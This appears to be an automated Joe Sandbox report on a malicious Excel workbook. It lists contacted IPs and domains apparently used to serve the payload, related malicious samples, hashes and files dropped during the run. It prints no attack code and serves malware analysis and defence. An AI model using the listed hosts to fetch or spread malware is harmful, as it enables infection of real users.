                                                                                                                                                https://api.cortana.ai342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                unknown
                                                                                                                                                https://onedrive.live.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                                  high
                                                                                                                                                  https://ovisualuiapp.azurewebsites.net/pbiagave/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                                  • Avira URL Cloud: safe
                                                                                                                                                  unknown
                                                                                                                                                  https://visio.uservoice.com/forums/368202-visio-on-devices342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                                    high
                                                                                                                                                    https://directory.services.342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                    unknown
                                                                                                                                                    https://login.windows-ppe.net/common/oauth2/authorize342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                                      high
                                                                                                                                                      https://staging.cortana.ai342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                                      • URL Reputation: safe
                                                                                                                                                      • URL Reputation: safe
                                                                                                                                                      • URL Reputation: safe
                                                                                                                                                      unknown
                                                                                                                                                      https://loki.delve.office.com/api/v1/configuration/officewin32/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                                        high

                                                                                                                                                        Contacted IPs

                                                                                                                                                        • No. of IPs < 25%
                                                                                                                                                        • 25% < No. of IPs < 50%
                                                                                                                                                        • 50% < No. of IPs < 75%
                                                                                                                                                        • 75% < No. of IPs

                                                                                                                                                        Public

                                                                                                                                                        IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                        52.220.160.98
                                                                                                                                                        eimathsuae.comUnited States
                                                                                                                                                        16509AMAZON-02USfalse
                                                                                                                                                        67.227.192.75
                                                                                                                                                        tisindia.comUnited States
                                                                                                                                                        32244LIQUIDWEBUSfalse

                                                                                                                                                        General Information

                                                                                                                                                        Joe Sandbox Version:32.0.0 Black Diamond
                                                                                                                                                        Analysis ID:433459
                                                                                                                                                        Start date:11.06.2021
                                                                                                                                                        Start time:22:30:27
                                                                                                                                                        Joe Sandbox Product:CloudBasic
                                                                                                                                                        Overall analysis duration:0h 5m 7s
                                                                                                                                                        Hypervisor based Inspection enabled:false
                                                                                                                                                        Report type:full
                                                                                                                                                        Sample file name:research-1234799369.xlsb
                                                                                                                                                        Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                                                                        Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                        Number of analysed new started processes analysed:26
                                                                                                                                                        Number of new started drivers analysed:0
                                                                                                                                                        Number of existing processes analysed:0
                                                                                                                                                        Number of existing drivers analysed:0
                                                                                                                                                        Number of injected processes analysed:0
                                                                                                                                                        Technologies:
                                                                                                                                                        • HCA enabled
                                                                                                                                                        • EGA enabled
                                                                                                                                                        • HDC enabled
                                                                                                                                                        • AMSI enabled
                                                                                                                                                        Analysis Mode:default
                                                                                                                                                        Analysis stop reason:Timeout
                                                                                                                                                        Detection:MAL
                                                                                                                                                        Classification:mal76.expl.evad.winXLSB@7/9@2/2
                                                                                                                                                        EGA Information:Failed
                                                                                                                                                        HDC Information:Failed
                                                                                                                                                        HCA Information:
                                                                                                                                                        • Successful, ratio: 100%
                                                                                                                                                        • Number of executed functions: 0
                                                                                                                                                        • Number of non-executed functions: 0
                                                                                                                                                        Cookbook Comments:
                                                                                                                                                        • Adjust boot time
                                                                                                                                                        • Enable AMSI
                                                                                                                                                        • Found application associated with file extension: .xlsb
                                                                                                                                                        • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                        • Attach to Office via COM
                                                                                                                                                        • Scroll down
                                                                                                                                                        • Close Viewer
                                                                                                                                                        Warnings:
                                                                                                                                                        Show All
                                                                                                                                                        • Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe
                                                                                                                                                        • Excluded IPs from analysis (whitelisted): 13.64.90.137, 104.43.139.144, 52.109.88.177, 52.109.76.33, 52.109.12.21, 20.82.210.154, 184.30.20.56, 2.20.142.209, 2.20.142.210, 20.54.26.129, 20.82.209.183, 92.122.213.194, 92.122.213.247
                                                                                                                                                        • Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, prod-w.nexus.live.com.akadns.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, audownload.windowsupdate.nsatc.net, nexus.officeapps.live.com, arc.trafficmanager.net, officeclient.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, skypedataprdcolwus17.cloudapp.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, a767.dscg3.akamai.net, ris.api.iris.microsoft.com, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, europe.configsvc1.live.com.akadns.net
                                                                                                                                                        • Not all processes where analyzed, report is missing behavior information

                                                                                                                                                        Simulations

                                                                                                                                                        Behavior and APIs

                                                                                                                                                        TimeTypeDescription
                                                                                                                                                        22:31:20API Interceptor1148x Sleep call for process: splwow64.exe modified

                                                                                                                                                        Joe Sandbox View / Context

                                                                                                                                                        IPs

                                                                                                                                                        No context

                                                                                                                                                        Domains

                                                                                                                                                        No context

                                                                                                                                                        ASN

                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                        AMAZON-02USmicrosoft office 2007 service pack 2.exeGet hashmaliciousBrowse
                                                                                                                                                        • 13.248.148.254
                                                                                                                                                        ws8W4yPAvg.exeGet hashmaliciousBrowse
                                                                                                                                                        • 3.22.15.135
                                                                                                                                                        UOMp9cDcqZ.exeGet hashmaliciousBrowse
                                                                                                                                                        • 52.58.78.16
                                                                                                                                                        OrderKLB210568.exeGet hashmaliciousBrowse
                                                                                                                                                        • 34.215.126.147
                                                                                                                                                        q7jxy6gZMb.exeGet hashmaliciousBrowse
                                                                                                                                                        • 104.192.141.1
                                                                                                                                                        b9f5bca9a22f08aad48674bc42e4eaf72ab8aa3d652ba.exeGet hashmaliciousBrowse
                                                                                                                                                        • 52.219.158.14
                                                                                                                                                        8BDBD0yy0q.apkGet hashmaliciousBrowse
                                                                                                                                                        • 52.17.153.103
                                                                                                                                                        8BDBD0yy0q.apkGet hashmaliciousBrowse
                                                                                                                                                        • 13.224.195.88
                                                                                                                                                        ehDnx4Ke5d.exeGet hashmaliciousBrowse
                                                                                                                                                        • 3.22.15.135
                                                                                                                                                        KY4cmAI0jU.exeGet hashmaliciousBrowse
                                                                                                                                                        • 3.34.12.41
                                                                                                                                                        c71fd2gJus.exeGet hashmaliciousBrowse
                                                                                                                                                        • 52.219.64.3
                                                                                                                                                        XQehPgTn35.exeGet hashmaliciousBrowse
                                                                                                                                                        • 3.136.65.236
                                                                                                                                                        E1a92ARmPw.exeGet hashmaliciousBrowse
                                                                                                                                                        • 35.157.179.180
                                                                                                                                                        crt9O3URua.exeGet hashmaliciousBrowse
                                                                                                                                                        • 35.157.179.180
                                                                                                                                                        E1a92ARmPw.exeGet hashmaliciousBrowse
                                                                                                                                                        • 52.218.105.219
                                                                                                                                                        DNPr7t0GMY.exeGet hashmaliciousBrowse
                                                                                                                                                        • 13.59.53.244
                                                                                                                                                        lTAPQJikGw.exeGet hashmaliciousBrowse
                                                                                                                                                        • 99.83.154.118
                                                                                                                                                        SKlGhwkzTi.exeGet hashmaliciousBrowse
                                                                                                                                                        • 44.227.65.245
                                                                                                                                                        SecuriteInfo.com.Trojan.Packed2.43183.29557.exeGet hashmaliciousBrowse
                                                                                                                                                        • 13.59.53.244
                                                                                                                                                        Letter 1019.xlsxGet hashmaliciousBrowse
                                                                                                                                                        • 18.140.1.169
                                                                                                                                                        LIQUIDWEBUSmicrosoft office 2007 service pack 2.exeGet hashmaliciousBrowse
                                                                                                                                                        • 69.16.231.57
                                                                                                                                                        Payment slip.exeGet hashmaliciousBrowse
                                                                                                                                                        • 67.227.157.225
                                                                                                                                                        cat.exeGet hashmaliciousBrowse
                                                                                                                                                        • 67.227.214.225
                                                                                                                                                        PO#310521.PDF.exeGet hashmaliciousBrowse
                                                                                                                                                        • 72.52.228.195
                                                                                                                                                        RFQ .57648957664.exeGet hashmaliciousBrowse
                                                                                                                                                        • 69.16.231.164
                                                                                                                                                        PP05492110.exeGet hashmaliciousBrowse
                                                                                                                                                        • 67.227.157.225
                                                                                                                                                        HEN.exeGet hashmaliciousBrowse
                                                                                                                                                        • 69.167.137.97
                                                                                                                                                        PO_0065-2021.exeGet hashmaliciousBrowse
                                                                                                                                                        • 69.167.154.15
                                                                                                                                                        payment advice 6254100.htmlGet hashmaliciousBrowse
                                                                                                                                                        • 67.225.169.93
                                                                                                                                                        61744.dllGet hashmaliciousBrowse
                                                                                                                                                        • 96.30.31.236
                                                                                                                                                        pago sunat 250521.exeGet hashmaliciousBrowse
                                                                                                                                                        • 67.227.164.148
                                                                                                                                                        purchase inquiry 25.5.2021.doc__.rtfGet hashmaliciousBrowse
                                                                                                                                                        • 72.52.178.23
                                                                                                                                                        0f710a91_by_Libranalysis.dllGet hashmaliciousBrowse
                                                                                                                                                        • 209.59.132.241
                                                                                                                                                        New order 201534.pdf.exeGet hashmaliciousBrowse
                                                                                                                                                        • 72.52.228.179
                                                                                                                                                        New order 301534.pdf.exeGet hashmaliciousBrowse
                                                                                                                                                        • 72.52.228.179
                                                                                                                                                        VWR CI 220221.xlsx.exeGet hashmaliciousBrowse
                                                                                                                                                        • 72.52.228.179
                                                                                                                                                        pictures.exeGet hashmaliciousBrowse
                                                                                                                                                        • 67.225.192.144
                                                                                                                                                        f268bad6_by_Libranalysis.exeGet hashmaliciousBrowse
                                                                                                                                                        • 209.59.139.150
                                                                                                                                                        Esparks's Scanned-Fax_004.htmlGet hashmaliciousBrowse
                                                                                                                                                        • 67.227.238.73
                                                                                                                                                        z7buieR7Xl.exeGet hashmaliciousBrowse
                                                                                                                                                        • 209.59.139.150

                                                                                                                                                        JA3 Fingerprints

                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                        37f463bf4616ecd445d4a1937da06e19DHL_2761228.exeGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        comprobante de pago.exeGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        Facturas__Electronicas__Pdf__2021__4SDJFK34JKSHASL456LKSDFJ2DFKYJAS23346IKHHDFJ.vbsGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        audit-528010081.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        b9f5bca9a22f08aad48674bc42e4eaf72ab8aa3d652ba.exeGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        3.exeGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        audit-1133808478.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        tXkin8g4sy.exeGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        xGrfj8RvYg.exeGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        my_attach_82862.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        document-47-2637.xlsGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        logo.png.exeGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        document-47-2637.xlsGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        Fax_Doc#01_5.htmlGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        wa71myDkbQ.exeGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        Current-Status-062021-81197.xlsbGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        logo.png.exeGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        3F97s4aQjB.xlsxGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        WcCEh3daIE.xlsGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75
                                                                                                                                                        ATT00005.htmGet hashmaliciousBrowse
                                                                                                                                                        • 52.220.160.98
                                                                                                                                                        • 67.227.192.75

                                                                                                                                                        Dropped Files

                                                                                                                                                        No context

                                                                                                                                                        Created / dropped Files

                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\342A5005-7391-419E-8552-26772D1EF86E
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):134919
                                                                                                                                                        Entropy (8bit):5.368802800618808
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:1536:6cQIKNEeBXA3gBwlpQ9DQW+z7534ZliKWXboOilX5E6LWME9:qEQ9DQW+ziXO1
                                                                                                                                                        MD5:0D90A2F80723C2930C1D9DA161A2D769
                                                                                                                                                        SHA1:997FE1C54595A97706432E667413FB9D36B5B1FC
                                                                                                                                                        SHA-256:1B6BF3218C8C4E825169AB178967326BCC76439B80358FA7B074964D8BD2E6FB
                                                                                                                                                        SHA-512:B4D96D371B671440D47EF0A5EA29C491F8F342A8CCEA92380218EF66BBB1D9FAB9C9BAA8380BE18E2402156EE1585B216F3B96FD74BE90E57758BB3D10E929DF
                                                                                                                                                        Malicious:false
                                                                                                                                                        Reputation:low
                                                                                                                                                        Preview: <?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-06-11T20:31:19">.. Build: 16.0.14209.30527-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:
                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\38331A17.png
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:PNG image data, 934 x 29, 8-bit/color RGB, non-interlaced
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):42557
                                                                                                                                                        Entropy (8bit):7.992800895943226
                                                                                                                                                        Encrypted:true
                                                                                                                                                        SSDEEP:768:Pfsq4UmepRdblCFcXhw9KnRTRews6xD0FvBlwAS1A8x7BcS0OvD230:PR3ZblCF28KRsws6CFv0AYx7Bl3b230
                                                                                                                                                        MD5:B1F262A694930ADB699FA94E3394887F
                                                                                                                                                        SHA1:9C9B66D3A3F09AECA45DB94304CDD6FB3C5BD4C9
                                                                                                                                                        SHA-256:9C99EC61392B9022A38C1354124360147E8185065095BD2EC92B1416CF9F4B68
                                                                                                                                                        SHA-512:1CA7E6750178B88EC3AA7A0B83348EA389E26C27E0D7E919D807BE470714E5B4F04ACEB69D391F0498D4E465E6620E9449CA2F40755B5CE8196E683502EBF5F4
                                                                                                                                                        Malicious:false
                                                                                                                                                        Reputation:moderate, very likely benign file
                                                                                                                                                        Preview: .PNG........IHDR.............6......sRGB.........pHYs..........+......IDATx^....dU....S.:ON.0.0....s0 .....$..%#HR.T.......$..0C...Su...[.TM..{.......C.S}..^{......].^..ZX.Wb.W....X!..A.P....0..u...X.V.3.....z..tiO{GW..?...A.......ca2Y.... ...cAX..zZ..2M.$..g.O.e..r?z&................*....*.=..Z.A........a.Z..ka<..N.R.c......./.[..j.^...Nk.(..y.,..z"...R..Z+..D1Q....z....0..u~..jU_.b.Z.V....:..5:.(.......-...A2.O.{..p.j..].<........0..0..+...E...^...z....#..j.d...X._..1..M.5..O.^.."..l....G....U1........X.6.Z.\.&..h..m*..T..xH.j..3<$.H...a..n....}t.A.jT.6G.h@..<.x..x...cb......C..{.D.'QW<.o~..?.....4F_..B..h.\...y8..)....j.Z.d..#P..P..O.....(.0...f....B_z>.E .w../..(...'.Fw..yT..G..)...b9..g.AA`.a..v.zfY.F........._r.i.d.`....Q.g.m"..\..&.t.X.q1}.$.S....2..~...d."..1.. (.0.F....t...i..@f.. ...(..8..q.....I.....ad.....z%....;...y.O...X<Q..X.....B..H........<)....4.&9.4......1.h..#B.....g.....bO.59.A..M.....J..vX3*5..X....(G.A.u...8.. .{
                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\5B10D861.png
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):848
                                                                                                                                                        Entropy (8bit):7.595467031611744
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:24:NLJZbn0jL5Q3H/hbqzej+0C3Yi6yyuq53q:JIjm3pQCLWYi67lc
                                                                                                                                                        MD5:02DB1068B56D3FD907241C2F3240F849
                                                                                                                                                        SHA1:58EC338C879DDBDF02265CBEFA9A2FB08C569D20
                                                                                                                                                        SHA-256:D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387B0EA3773D908DD25F
                                                                                                                                                        SHA-512:9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F864212064678
                                                                                                                                                        Malicious:false
                                                                                                                                                        Reputation:moderate, very likely benign file
                                                                                                                                                        Preview: .PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8O.T]H.Q..;3...?..fk.lR..R$.R.Pb.Q...B..OA..T$.hAD...J../..-h...fj..+....;s.vg.Zsw.=...{.w.s.w.@.....;..s...O........;.y.p........,...s1@ Ir.:... .>.LLa..b?h...l.6..U....1....r.....T..O.d.KSA...7.YS..a.(F@....xe.^.I..$h....PpJ...k%.....9..QQ....h..!H*................./....2..J2..HG....A....Q&...k...d..&..Xa.t..E....E..f2.d(..v.~.P.+.pik+;...xEU.g....._xfw...+...(..pQ.(..(.U./..)..@..?..........f.'...lx+@F...+....)..k.A2...r~B,....TZ..y..9...`..0....q....yY....Q.......A.....8j[.O9..t..&...g. I@ ..;..X!...9S.J5..'.xh...8I.~.+...mf.m.W.i..{...+>P...Rh...+..br^$. q.^.......(..._.j...$..Ar...MZm|...9..E..!U[S.fDx7<....Wd.......p..C......^MyI:...c.^..SI.mGj,.......!...h..$..;...........yD./..a...-j.^:.}..v....RQY*.^......IEND.B`.
                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\725781E0.png
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):557
                                                                                                                                                        Entropy (8bit):7.343009301479381
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNJTNSB0qNMQCvGEvfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20qNM1dvfSviNd
                                                                                                                                                        MD5:A516B6CB784827C6BDE58BC9D341C1BD
                                                                                                                                                        SHA1:9D602E7248E06FF639E6437A0A16EA7A4F9E6C73
                                                                                                                                                        SHA-256:EF8F7EDB6BA0B5ACEC64543A0AF1B133539FFD439F8324634C3F970112997074
                                                                                                                                                        SHA-512:C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7F96D55B0C9B02F6B9BFAF4E915191683126183E49E668B6049048D35
                                                                                                                                                        Malicious:false
                                                                                                                                                        Reputation:moderate, very likely benign file
                                                                                                                                                        Preview: .PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8Oc.......l.9a._.X....@.`ddbc.]...........O..m7.r0|..."......?A.......w..;.N1u........_.[.\Y...BK=...F +.t.M~..oX..%....211o.q.P.".......y...../..l.r...4..Q]..h.....LL.d.......d....w.>{.e..k.7.9y.%.. .YpI...{.+Kv......./..\[...A....^.5c..O?.......G...VB..4HWY...9NU...?..S..$..1..6.U.....c... ....7..J. "M..5. ............_.......d.V.W.c.....Y.A..S....~.C.....q........t?..."n.....4......G_......Q..x..W.!L.a...3....MR.|.-P#P;..p._.......jUG....X........IEND.B`.
                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\778AA2EE.png
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:PNG image data, 246 x 108, 8-bit/color RGB, non-interlaced
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):10270
                                                                                                                                                        Entropy (8bit):7.975714699744477
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:192:3sXvKLMbye/PEXiKTUgCto9h4F6NwfU6vGDpdYNbcQZgkbd4cgc:3iLh/gJ59CDfU6LocbGK
                                                                                                                                                        MD5:9C4F09E387EA7B36C8149EA7C5F8876E
                                                                                                                                                        SHA1:FF83384288EB89964C3872367E43F25FAFF007CC
                                                                                                                                                        SHA-256:A51C1D65092272DAEB2541D64A10539F0D04BC2F51B281C7A3296500CFCA56DE
                                                                                                                                                        SHA-512:0FDDE22CFDDE8BB1C04842D2810D0FD6D42192594E0D6120DE401B08B7E2CFFB5333792BC748E93CD70FA14734CC7D950620CB977DDBBDB52D92BDA8F35521F8
                                                                                                                                                        Malicious:false
                                                                                                                                                        Reputation:moderate, very likely benign file
                                                                                                                                                        Preview: .PNG........IHDR.......l...........sRGB.........pHYs..........+....'.IDATx^.].|.U...%...J.".....H.&Ui......E.........D.7....U.i..FH#=......3..$K....'{3....7........0.H......H..03..,....8.q........'@\...S@.../.0=....|....}|......0.... ...,LO........q._`az.....8......... .`..) @...X...q..>N...>.........q........'@\...S@.../.0=....|....}|......0.... ...,LO........q._`az.....8...l..m.i'Sj.W.i.S.TJ....D.D._%...]..i.;J..b..T.).Ik.L6..L.mN....!*..\..'{$.o._b..h....t"@.?...y...d..h..|..B9D..CJD..t."........bR"....I)H....z.......>|.....E.x..r....J.U..[...p:D....XF......A...E.....b..C...C..C......=.Z..$.=../....Y..x5CY.0l..,~.W. .?......;...$.'....<.H.2...z..6(.E........kw8w^.\~...".C,gl&.m..J2.).HI.....b.r...'.....r.H...P.....'...A.^.q..j).cZ.^1~.|.........dv^.^v..X..v..6/^.$rR. iK..H.Uu.Pvk....U.....'.Fd..Z.]mu\*1.Zb.\b...N..P..&tr;.W....J.K(@.^A..R.S.[~.v.R.YO...0-...2..h."..............7..Ng...R...e.&..@..t..N...{5...W.x./#.%..}t...F8-..M1..(4b1....&.....)B...6.
                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\C33C7D2C.png
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:PNG image data, 490 x 30, 8-bit/color RGB, non-interlaced
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):18547
                                                                                                                                                        Entropy (8bit):7.9850486438978985
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:384:kBCIQCloAwCZDy0xOTn6/g6l4NpWfw9nHk6Ka01f7Y/H:kBCIQpAwODPMT6/gfOUKN70
                                                                                                                                                        MD5:ED31C7053D581EDC4C98D222CE02EDEF
                                                                                                                                                        SHA1:6BA7A49CC6FF8FE00E9C5BC75F48AB7E679536DD
                                                                                                                                                        SHA-256:0FCF61397154DF01CFAECA362BD643D88AAD5FEDD07B52DC8A921CC0D7236534
                                                                                                                                                        SHA-512:929BF13F2A050B33D0EABDAC97CAAFDDE612AD521027FEE4DD51E28A3CF61198D6C045E00AB85223C73D74D18BB4EAA1681C7AFA917946DC08A3C75FB2AB4935
                                                                                                                                                        Malicious:false
                                                                                                                                                        Reputation:moderate, very likely benign file
                                                                                                                                                        Preview: .PNG........IHDR.............l{......sRGB.........pHYs..........+....H.IDATx^...U............"x....U...."...Tc.{...M1M..In....TATb4F,`oD..Q..3......g.3..Lr.D....a8....~.z....Z...yyF..9...:.H.Q2..)/L.....Q.}....(J..,...w2>R.$..G2..m>..|...0.M.g.Xnjj...P.v..x....S......B..p.=.Lz.^..Wi..2U.V'.a..*DE.'..rT.z....#.;..]....[?.C...o.m`]..m][;.:<..]F.9..u..Q]c.Ue.9....(.F.Z.~s..Q:..B...)..LZ.TTo..P.gc.l.'.X.}..H....Q.h|....L..rcd.2dN..co..5.....w.U.4..}........{.Q.....D2.J.z~..:Y3,.H..(#.J.Q......N.._7....w.....].2w.6...._....u.......9-.7.f9...E9...p.A..f....=....Bqu....A.u.JG>b"...%..0..W.H=...G#.DR.....P.|FD).NJ....)>.;...M...T*.dW..t:[.xT..M.|S...O..."M.4u7.uS...]4..R.vK....*).ZK.. J.=.9C.].kr..ES..6..f.(.....N':..t..^.S....kn[s.#..(.....m.....~....6>....:u.J.mO.....%D...Q...6%....!......H.....v..^%....$.._..V........[o5.H8......n.~M.z.RL.0p:.iC.k.1..$...............3[....mS5..........E...2.&...k]...A.....K.8...5..O.@7.[-.F4*7...i....in...y....A
                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\F71B989B.png
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:PNG image data, 521 x 246, 8-bit/color RGB, non-interlaced
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):32996
                                                                                                                                                        Entropy (8bit):7.975478139053759
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:768:N4k48AnTViUidx37OODgvnrxtxAudMN1VTRVHdB4K7K:NE8m+L37OOwrCXN1VTR1PK
                                                                                                                                                        MD5:4E69B72B0CE87CC7EE30AA1A062147FE
                                                                                                                                                        SHA1:09B0AA5414E08756E0AE53E1BE5C70DB4DEAF2E8
                                                                                                                                                        SHA-256:77A1F749389CBF771D5197FF0FF17113FCA1D91989ADCADF2852876A6CC14988
                                                                                                                                                        SHA-512:6246AF2137E773F7719033AFE75F0B00FF3A4B5543DBA53737FC8D33EE42478E3D8A5CF166E9EFD2F54A2F3E0D62417BDDC1CB824642305B59AB1229313D2D79
                                                                                                                                                        Malicious:false
